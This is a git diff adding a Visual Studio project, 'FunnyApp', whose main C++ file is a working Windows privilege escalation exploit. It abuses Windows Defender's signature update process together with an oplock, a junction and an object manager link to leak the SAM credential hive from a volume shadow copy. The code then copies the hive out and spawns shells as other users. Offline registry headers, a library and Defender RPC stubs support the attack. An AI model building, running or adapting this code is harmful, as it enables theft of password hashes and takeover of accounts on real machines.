wchar_t printname[1] = { L'\0' }; + size_t targetsz = 0; + size_t printnamesz = 0; + size_t pathbuffersz = 0; + size_t totalsz = 0; + REPARSE_DATA_BUFFER* rdb = 0; + DWORD cb = 0; + OVERLAPPED ov = { 0 }; + bool ret = false; + DWORD retsz = 0; + HANDLE hleakedfile = NULL; + HANDLE hobjlink = NULL; + LARGE_INTEGER _filesz = { 0 }; + OVERLAPPED ovd2 = { 0 }; + DWORD __readsz = 0; + void* leakedfilebuff = 0; + bool filelocked = false; + bool needcabcleanup = false; + bool dirmoved = false; + bool needupdatedircleanup = false; + UpdateFiles* UpdateFilesList = NULL; + UpdateFiles* UpdateFilesListCurrent = NULL; + bool isvssready = false; + bool criterr = false; + + + try { + + printf("Checking for windows defender signature updates...\n"); + while (!CheckForWDUpdates(updtitle, &criterr)){ + + if (criterr) + goto cleanup; + printf("No updates found for windows defender. Recheking in 30 seconds...\n"); + Sleep(30000); + + } + printf("Found Update : \n%ws\n", updtitle); + + UpdateFilesList = GetUpdateFiles(); + if (!UpdateFilesList) + { + goto cleanup; + } + printf("Updates downloaded.\n"); + + + printf("Creating VSS copy...\n"); + hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!hreleaseready) + { + printf("Failed to create event error : %d\n", GetLastError()); + goto cleanup; + } + + + isvssready = TriggerWDForVS(hreleaseready, fullvsspath); + if (!isvssready) + goto cleanup; + + for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++) + { + UpdateFilesListCurrent = UpdateFilesList; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + wcscpy(envstr, L"%TEMP%\\"); + wcscat(envstr, wuid2); + ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH); + needupdatedircleanup = CreateDirectory(updatepath, NULL); + if (!needupdatedircleanup) + { + printf("Failed to create update directory, error : %d", GetLastError()); + goto cleanup; + } + printf("Created update directory %ws\n", updatepath); + while (UpdateFilesListCurrent) + { + wchar_t filepath[MAX_PATH] = { 0 }; + //wchar_t filename[MAX_PATH] = { 0 }; + wcscpy(filepath, updatepath); + wcscat(filepath, L"\\"); + MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filepath[lstrlenW(filepath)], MAX_PATH - lstrlenW(filepath)); + + + HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL); + + if (!hupdate || hupdate == INVALID_HANDLE_VALUE) + { + printf("Failed to create update file, error : %d", GetLastError()); + goto cleanup; + } + UpdateFilesListCurrent->filecreated = true; + DWORD writtenbytes = 0; + if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL)) + { + printf("Failed to write update file, error : %d", GetLastError()); + CloseHandle(hupdate); + goto cleanup; + } + CloseHandle(hupdate); + printf("Created update file : %ws\n", filepath); + UpdateFilesListCurrent = UpdateFilesListCurrent->next; + + } + + hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL); + if (!hdir || hdir == INVALID_HANDLE_VALUE) + { + printf("Failed to open definition updates directory, error : %d", GetLastError()); + goto cleanup; + } + + hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId()); + if (!hcurrentthread) + { + printf("Unexpected error while opening current thread, error : %d", GetLastError()); + goto cleanup; + } + threadargs.dirpath = updatepath; + threadargs.hntfythread = hcurrentthread; + threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL); + hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid); + + printf("Waiting for windows defender to create a new definition update directory...\n"); + wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\"); + do { + ZeroMemory(buff, sizeof(buff)); + OVERLAPPED od = { 0 }; + od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL); + HANDLE events[2] = { od.hEvent, threadargs.hevent }; + if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0) + { + printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res); + goto cleanup; + } + CloseHandle(od.hEvent); + + PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff; + if (pfni->Action != FILE_ACTION_ADDED) + continue; + + wcscat(newdefupdatedirname, pfni->FileName); + break; + } while (1); + printf("Detected new definition update directory in %ws\n", newdefupdatedirname); + + wcscpy(updatelibpath, L"\\??\\"); + wcscat(updatelibpath, updatepath); + wcscat(updatelibpath, L"\\mpasbase.vdm"); + + RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath); + InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL); + if (ntstat) + { + printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat); + goto cleanup; + } + printf("Setting oplock on %ws\n", updatelibpath); + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + goto cleanup; + } + printf("Waiting for oplock to trigger...\n"); + GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE); + printf("oplock triggered !\n"); + + // + + wcscpy(newname, updatepath); + wcscat(newname, L".WDFOO"); + renstructsz = sizeof(FILE_RENAME_INFO) + wcslen(newname) * sizeof(wchar_t) + sizeof(wchar_t); + fri = (FILE_RENAME_INFO*)malloc(renstructsz); + ZeroMemory(fri, renstructsz); + fri->ReplaceIfExists = TRUE; + fri->FileNameLength = wcslen(newname) * sizeof(wchar_t); + wcscpy(&fri->FileName[0], newname); + if (!SetFileInformationByHandle(hupdatefile, FileRenameInfo, fri, renstructsz)) + { + printf("Failed to move file from %ws to %ws error : %d", updatelibpath, newname, GetLastError()); + goto cleanup; + } + free(fri); + fri = NULL; + printf("File moved %ws to %ws\n", updatelibpath, newname); + // + + + wcscpy(newtmp, updatepath); + wcscat(newtmp, L".foo"); + if (!MoveFile(updatepath, newtmp)) + { + printf("Failed to move %ws to %ws, error : %d", updatepath, newtmp, GetLastError()); + goto cleanup; + } + dirmoved = true; + printf("Directory moved %ws to %ws\n", updatepath, newtmp); + + wcscpy(wreparsedirpath, L"\\??\\"); + wcscat(wreparsedirpath, updatepath); + + RtlInitUnicodeString(&reparsedirpath, wreparsedirpath); + InitializeObjectAttributes(&objattr, &reparsedirpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + ntstat = NtCreateFile(&hreparsedir, GENERIC_WRITE | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT | FILE_DELETE_ON_CLOSE, NULL, NULL); + if (ntstat) + { + printf("Failed to recreate update directory, error : 0x%0.8X", ntstat); + goto cleanup; + } + printf("Recreated %ws\n", updatepath); + + + wcscpy(rptarget, L"\\BaseNamedObjects\\Restricted"); + targetsz = wcslen(rptarget) * 2; + printnamesz = 1 * 2; + pathbuffersz = targetsz + printnamesz + 12; + totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH; + rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz); + rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + rdb->ReparseDataLength = static_cast(pathbuffersz); + rdb->Reserved = NULL; + rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL; + rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast(targetsz); + memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2); + rdb->MountPointReparseBuffer.PrintNameOffset = static_cast(targetsz + 2); + rdb->MountPointReparseBuffer.PrintNameLength = static_cast(printnamesz); + memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, printname, printnamesz); + + ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!ov.hEvent) + { + printf("Failed to create event, error : %d", GetLastError()); + goto cleanup; + } + DeviceIoControl(hreparsedir, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, &ov); + HeapFree(GetProcessHeap(), NULL, rdb); + rdb = NULL; + if (GetLastError() == ERROR_IO_PENDING) { + GetOverlappedResult(hreparsedir, &ov, &retsz, TRUE); + } + if (GetLastError() != ERROR_SUCCESS) + { + printf("Failed to create reparse point, error : %d", GetLastError()); + goto cleanup; + } + printf("Junction created %ws => %ws\n", updatepath, rptarget); + + ZeroMemory(nttargetfile, sizeof(nttargetfile)); + wcscpy(nttargetfile, fullvsspath); + wcscat(nttargetfile, filestoleak[x]); + + RtlInitUnicodeString(&objlinkname, L"\\BaseNamedObjects\\Restricted\\mpasbase.vdm"); + RtlInitUnicodeString(&objlinktarget, nttargetfile); + InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, NULL, NULL); + + ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget); + if (ntstat) + { + printf("Failed to create object manager symbolic link, error : %d", GetLastError()); + goto cleanup; + } + printf("Object manager link created %ws => %ws\n", objlinkname.Buffer, objlinktarget.Buffer); + + //TerminateThread(hthread, ERROR_SUCCESS); // kill the thread, don't care if it is still running + //CloseHandle(hthread); + //hthread = NULL; + CloseHandle(ov.hEvent); + ov.hEvent = NULL; + CloseHandle(ovd.hEvent); + ovd.hEvent = NULL; + CloseHandle(hupdatefile); + hupdatefile = NULL; + + + wcscat(newdefupdatedirname, L"\\mpasbase.vdm"); + do { + hleakedfile = CreateFile(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + } while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile); + printf("Leaked file opened %ws\n", newdefupdatedirname); + + + CloseHandle(hdir); + hdir = NULL; + CloseHandle(hreparsedir); + hreparsedir = NULL; + CloseHandle(hobjlink); + hobjlink = NULL; + + GetFileSizeEx(hleakedfile, &_filesz); + LockFileEx(hleakedfile, LOCKFILE_EXCLUSIVE_LOCK, NULL, _filesz.LowPart, _filesz.HighPart, &ovd2); + filelocked = true; + leakedfilebuff = malloc(_filesz.QuadPart); + if (!leakedfilebuff) + { + printf("Failed to allocate enough memory to copy leaked file !!!"); + goto cleanup; + } + + if (!ReadFile(hleakedfile, leakedfilebuff, _filesz.QuadPart, &__readsz, NULL)) + { + printf("Failed to read file, error : %d\n", GetLastError()); + goto cleanup; + } + + UnlockFile(hleakedfile, NULL, NULL, NULL, NULL); + filelocked = false; + CloseHandle(hleakedfile); + printf("Read %d bytes\n", __readsz); + + ZeroMemory(copiedfilepath, sizeof(copiedfilepath)); + + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + wchar_t env2[MAX_PATH] = { 0 }; + wcscpy(env2, L"%TEMP%\\"); + wcscat(env2, wuid2); + + ExpandEnvironmentStrings(env2, copiedfilepath, sizeof(copiedfilepath) / sizeof(wchar_t)); + //wcscat(copiedfilepath, L"\\"); + //wcscat(copiedfilepath, PathFindFileName(filestoleak[x])); + + hleakedfile = CreateFile(copiedfilepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (!hleakedfile || hleakedfile == INVALID_HANDLE_VALUE) + { + printf("Failed to create leaked file, error : %d", GetLastError()); + goto cleanup; + } + if (!WriteFile(hleakedfile, leakedfilebuff, _filesz.QuadPart, &__readsz, NULL)) + { + printf("Failed to write leaked file, error : %d", GetLastError()); + CloseHandle(hleakedfile); + hleakedfile = NULL; + // delete the file + DeleteFile(copiedfilepath); + goto cleanup; + } + CloseHandle(hleakedfile); + hleakedfile = NULL; + printf("Exploit succeeded.\n"); + SetEvent(hreleaseready); + + printf("SAM file written at : %ws\n", copiedfilepath); + DoSpawnShellAsAllUsers(copiedfilepath); + + WaitForSingleObject(hthread, INFINITE); + CloseHandle(hthread); + hthread = NULL; + + + + } + + } + catch (int exception) + { + goto cleanup; + } + +cleanup: + + if(hint) + InternetCloseHandle(hint); + if(hint) + InternetCloseHandle(hint2); + if (exebuff) + free(exebuff); + if(mappedbuff) + UnmapViewOfFile(mappedbuff); + if (hmapping) + CloseHandle(hmapping); + if (hcabctx) + FDIDestroy(hcabctx); + if (hdir) + CloseHandle(hdir); + if (fri) + free(fri); + if (rdb) + HeapFree(GetProcessHeap(), NULL, rdb); + if (ov.hEvent) + CloseHandle(ov.hEvent); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + + if (hreleaseready) + { + SetEvent(hreleaseready); + Sleep(1000); + CloseHandle(hreleaseready); + } + if (hleakedfile) + { + if (filelocked) + UnlockFile(hleakedfile, NULL, NULL, NULL, NULL); + CloseHandle(hleakedfile); + } + if (leakedfilebuff) + free(leakedfilebuff); + if (hcurrentthread) + CloseHandle(hcurrentthread); + if (needupdatedircleanup) + { + wchar_t dirtoclean[MAX_PATH] = { 0 }; + wcscpy(dirtoclean, dirmoved ? newtmp : updatepath); + UpdateFilesListCurrent = UpdateFilesList; + while(UpdateFilesListCurrent) + { + + if (UpdateFilesListCurrent->filecreated) + { + wchar_t filetodel[MAX_PATH] = { 0 }; + wcscpy(filetodel, dirtoclean); + wcscat(filetodel, L"\\"); + MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t)); + DeleteFile(filetodel); + } + UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent; + UpdateFilesListCurrent = UpdateFilesListCurrent->next; + free(UpdateFilesListOld); + } + RemoveDirectory(dirtoclean); + } + + + return 0; +} + + +// Run program: Ctrl + F5 or Debug > Start Without Debugging menu +// Debug program: F5 or Debug > Start Debugging menu + +// Tips for Getting Started: +// 1. Use the Solution Explorer window to add/manage files +// 2. Use the Team Explorer window to connect to source control +// 3. Use the Output window to see build output and other messages +// 4. Use the Error List window to view errors +// 5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project +// 6. In the future, to open this project again, go to File > Open > Project and select the .sln file diff --git a/FunnyApp.rc b/FunnyApp.rc new file mode 100644 index 0000000000000000000000000000000000000000..58dec089f1ed377848b2e4f942ebcb67639dd651 GIT binary patch literal 2668 zcmds(Pfx-?5XIlw#P6`;MWYeLlSc(5MnofEG$A2IL`kq33i0A+SAWy8vC`JWKZj~I z%WQ|8+1WSqrhR=Wt1PEu4Rx)t9uzVMnxH#J7iy|2jd-eRjp1~w8wJcU`U$d+Zj3a$ zDXVMNjwkar)FXQ~w5SD6DM!-Q%ls3tV}wON+Fwff*wCFy2@Bgdi0sV&u1?ibTOHMO zs1x;crhT+E)=f2ZiKfNxvG&k3So;_(j^Yg;otI8^?mLh30F)kd&;2K$V>qFM0A98?ay&Ko2@># zCT(tkNdC?}ZeEZ0ZhPHqWcSamHfKH5vJm5CR@NP|PcVPBBkz=~u2E9DZRgJJ^%m! literal 0 HcmV?d00001 diff --git a/FunnyApp.sln b/FunnyApp.sln new file mode 100644 index 0000000..653b8fc --- /dev/null +++ b/FunnyApp.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36414.22 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FunnyApp", "FunnyApp.vcxproj", "{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x64.ActiveCfg = Debug|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x64.Build.0 = Debug|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x86.ActiveCfg = Debug|Win32 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x86.Build.0 = Debug|Win32 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x64.ActiveCfg = Release|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x64.Build.0 = Release|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x86.ActiveCfg = Release|Win32 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B894FD1E-E0A4-4043-9950-2A946FC73C8C} + EndGlobalSection +EndGlobal diff --git a/FunnyApp.vcxproj b/FunnyApp.vcxproj new file mode 100644 index 0000000..b250b09 --- /dev/null +++ b/FunnyApp.vcxproj @@ -0,0 +1,181 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {c0c82a69-3ead-4d50-a0ee-24b01449eafa} + FunnyApp + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + false + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + + TurnOffAllWarnings + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + TurnOffAllWarnings + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + TurnOffAllWarnings + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + + + TurnOffAllWarnings + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/FunnyApp.vcxproj.filters b/FunnyApp.vcxproj.filters new file mode 100644 index 0000000..c2af88e --- /dev/null +++ b/FunnyApp.vcxproj.filters @@ -0,0 +1,49 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + + + Resource Files + + + + + Source Files + + + \ No newline at end of file diff --git a/FunnyApp.vcxproj.user b/FunnyApp.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/FunnyApp.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/offreg.h b/offreg.h new file mode 100644 index 0000000..a82e190 --- /dev/null +++ b/offreg.h @@ -0,0 +1,239 @@ +/*++ + +Copyright (c) Microsoft Corporation + +Module Name: + + offreg.h + +Abstract: + + This module contains the header file for the + offreg utility. + +--*/ + +#pragma once + +#ifndef __OFFREG_H__ +#define __OFFREG_H__ + +#ifdef __cplusplus +extern "C" +{ +#endif + + +#if defined(OFFREG_DLL) +#define ORAPI _declspec(dllexport) __stdcall +#else +#define ORAPI _declspec(dllimport) __stdcall +#endif + + typedef PVOID ORHKEY; + typedef ORHKEY* PORHKEY; + + VOID + ORAPI + ORGetVersion( + _Out_ PDWORD pdwMajorVersion, + _Out_ PDWORD pdwMinorVersion + ); + + DWORD + ORAPI + OROpenHive( + _In_ PCWSTR FilePath, + _Out_ PORHKEY HORKey + ); + + DWORD + ORAPI + OROpenHiveByHandle( + _In_ HANDLE FileHandle, + _Out_ PORHKEY HORKey + ); + + DWORD + ORAPI + ORCreateHive( + _Out_ PORHKEY HORKey + ); + + DWORD + ORAPI + ORCloseHive( + _In_ ORHKEY Handle + ); + + DWORD + ORAPI + ORSaveHive( + _In_ ORHKEY HORKey, + _In_ PCWSTR HivePath, + _In_ DWORD OsMajorVersion, + _In_ DWORD OsMinorVersion + ); + + DWORD + ORAPI + OROpenKey( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpSubKey, + _Out_ PORHKEY phkResult + ); + + DWORD + ORAPI + ORCloseKey( + _In_ ORHKEY KeyHandle + ); + + DWORD + ORAPI + ORCreateKey( + _In_ ORHKEY KeyHandle, + _In_ PCWSTR lpSubKey, + _In_opt_ PWSTR lpClass, + _In_opt_ DWORD dwOptions, + _In_opt_ PSECURITY_DESCRIPTOR pSecurityDescriptor, + _Out_ PORHKEY phkResult, + _Out_opt_ PDWORD pdwDisposition + ); + + DWORD + ORAPI + ORDeleteKey( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpSubKey + ); + + DWORD + ORAPI + ORQueryInfoKey( + _In_ ORHKEY Handle, + _Out_writes_opt_(*lpcClass) PWSTR lpClass, + _Inout_opt_ PDWORD lpcClass, + _Out_opt_ PDWORD lpcSubKeys, + _Out_opt_ PDWORD lpcMaxSubKeyLen, + _Out_opt_ PDWORD lpcMaxClassLen, + _Out_opt_ PDWORD lpcValues, + _Out_opt_ PDWORD lpcMaxValueNameLen, + _Out_opt_ PDWORD lpcMaxValueLen, + _Out_opt_ PDWORD lpcbSecurityDescriptor, + _Out_opt_ PFILETIME lpftLastWriteTime + ); + + DWORD + ORAPI + OREnumKey( + _In_ ORHKEY Handle, + _In_ DWORD dwIndex, + _Out_writes_(*lpcName) PWSTR lpName, + _Inout_ PDWORD lpcName, + _Out_writes_opt_(*lpcClass) PWSTR lpClass, + _Inout_opt_ PDWORD lpcClass, + _Out_opt_ PFILETIME lpftLastWriteTime + ); + + DWORD + ORAPI + ORGetKeySecurity( + _In_ ORHKEY Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_opt_ PSECURITY_DESCRIPTOR pSecurityDescriptor, + _Inout_ PDWORD lpcbSecurityDescriptor + ); + + DWORD + ORAPI + ORSetKeySecurity( + _In_ ORHKEY Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR pSecurityDescriptor + ); + + DWORD + ORAPI + ORGetVirtualFlags( + _In_ ORHKEY Handle, + _Out_ PDWORD pdwFlags + ); + + DWORD + ORAPI + ORSetVirtualFlags( + _In_ ORHKEY Handle, + _In_ DWORD dwFlags + ); + + DWORD + ORAPI + ORDeleteValue( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpValueName + ); + + DWORD + ORAPI + ORGetValue( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpSubKey, + _In_opt_ PCWSTR lpValue, + _Out_opt_ PDWORD pdwType, + _Out_writes_bytes_opt_(*pcbData) PVOID pvData, + _Inout_opt_ PDWORD pcbData + ); + + DWORD + ORAPI + ORSetValue( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpValueName, + _In_ DWORD dwType, + _In_reads_bytes_opt_(cbData) const BYTE* lpData, + _In_ DWORD cbData + ); + + DWORD + ORAPI + OREnumValue( + _In_ ORHKEY Handle, + _In_ DWORD dwIndex, + _Out_writes_(*lpcValueName) PWSTR lpValueName, + _Inout_ PDWORD lpcValueName, + _Out_opt_ PDWORD lpType, + _Out_writes_bytes_opt_(*lpcbData) PBYTE lpData, + _Inout_opt_ PDWORD lpcbData + ); + + DWORD + ORAPI + ORRenameKey( + _In_ ORHKEY Handle, + _In_ PCWSTR lpNewName + ); + + DWORD + ORStart( + VOID + ); + + VOID + ORShutdown( + VOID + ); + + DWORD + ORAPI + ORMergeHives( + _In_reads_(HiveCount) ORHKEY* HiveHandles, + _In_ ULONG HiveCount, + _Out_ PORHKEY phkResult + ); + +#ifdef __cplusplus +} +#endif + +#endif //__OFFREG_H__ diff --git a/offreg.lib b/offreg.lib new file mode 100644 index 0000000000000000000000000000000000000000..533fdf707ff15fdcea1f47b5de5799d54b5bdf6a GIT binary patch literal 6820 zcmcIoU2IfE6h8eyVCm0pOWSP=r6@ssphDSJ2!<>_Ev!gB$BGJkcg2Oehm76glLTLU}Ato0-kf{&Yd&6x4O&Lo1DEf z=gggN=KRf>UH)t|H8i}*_jIfNtX`}4Wp9nsSliwi63zWS0N4oNI|NX19H4RrU@@|Y z>NW|gz6D@Y3%-$ps|3~801#DA3G$x>APTG$R6l`oq`*BvwQT@IjWI!shY<&+}#Jt?U1B923<*(a#(6s`xUVOr4QEBHN9{S844{m4hE!95TK?>K~W29f-OM3G4E z&RvE%7}?e}u+{9{HE5U-qr2Pe+76LO|DGK?a^>)<7$C%hJ$w55BHK0(ZU)2LZl(8H zsquJn6u*v-j72n-VH#uBXixmG zn$$q4@65?XHi#p$*P{ttj$v-I5?0#cQpGXM-5D!2**kh5$p>gm!|WQ(jBv5++bToB zfHjm!#nWops9es*J?jjq@hrA5K|GbtL=)YK=)rMU4`eOQw`bHiY)XwU_rEuq$S7k9 z4G5k<)x-p6GX#z%!!=78=|P`Yag+ybne2&<#u5r#dXg(JOw$^Tj%YSg9K+mcr4HII zqZGnex(&M~T%~a8(+vPuP<{iy>BsgA^6%iB$B+hbK1|dwAAIl_ zEQ3W*0ku#C^{@o0F<+NM02*N)G{8crgeGW)AS{3uSPFiqgBmD-(ntQbOlA(-hAfL{ zNsM=xF(~9^`0zG&f5GQ&&mANu53st8ZI;A3>{i36G?JvmgmgR2V3aFZ(^$#>3u!Tp*uncg^C`i-1d zd5`2sUvX!Z3^t==x&GvSta}w>>uRH8i0f$9O2@8{+G2@>$e;gJVTLxyT64cIHdO|n zF1U2lR|1%k#M2hDUd$X^G2nC|jE%Qt$9adrzoji6i>9M1+NFr<(hEq}9Yz_x!?0%B z8Q1BsF*gD{K)Nm&_zpwsbSb_Am?7!$iK>n^^(55#=OYWNP5Y^Wl`wgKpwB}c|^sgp-bN*+GsU*J%nwUvV0 zaTt#S;tWfUy*Gj5j0w>g9HPc_C=T)Iypj*i1+ZRr@m&hL@b^)2%3OI#duW4mBOxy- zg_+l1`t37&Wn!6LUV@hg?O|TBP726N@S>nS+SjPn^!&-5fss{B108G5hH_R09>UBMkRE31^;-qskq&ox*WCay8d*X5$0A5MYH*n&U-OQAqCpLCP2U zKD_oTUODhiKuEGQD++%d zC*>TUjgwWJGBDN5Gm1QN!rmWR?VPYkV&$l=U=)v>@NT5)Cgp?*7e!vDiilKsth3zn z%fO-YbPiU!IK1vuJK<$np1Skc)$*(NzM)-J*=VfdXF#f%Cys}WKEE5WZB%XJ$Xi1( zS*}AC&P;bF;%mQa!QJ>Z6!&hTHo}1O+>=LUINJHg@01w=E?UtU)#HrV?f>`^oe?!Q z3cnh$O|WL3`|*g`Yj@8)q?oPEK`QP%>hQ>SN6vk9c{yUy|1sYGlrdu!eqwkaKGz() zLYc45MpW0xqHsJs{p%0j|CTD0dK*VxJeh%5Gf!K2#O;X-xBsHJZO~APw3A0fO= 1200 +#pragma warning(push) +#endif + +#pragma warning( disable: 4211 ) /* redefine extern to static */ +#pragma warning( disable: 4232 ) /* dllimport identity*/ +#pragma warning( disable: 4024 ) /* array to pointer mapping*/ + +#include + +#include "windefend_h.h" + +#define TYPE_FORMAT_STRING_SIZE 4599 +#define PROC_FORMAT_STRING_SIZE 13495 +#define EXPR_FORMAT_STRING_SIZE 1 +#define TRANSMIT_AS_TABLE_SIZE 0 +#define WIRE_MARSHAL_TABLE_SIZE 0 + +typedef struct 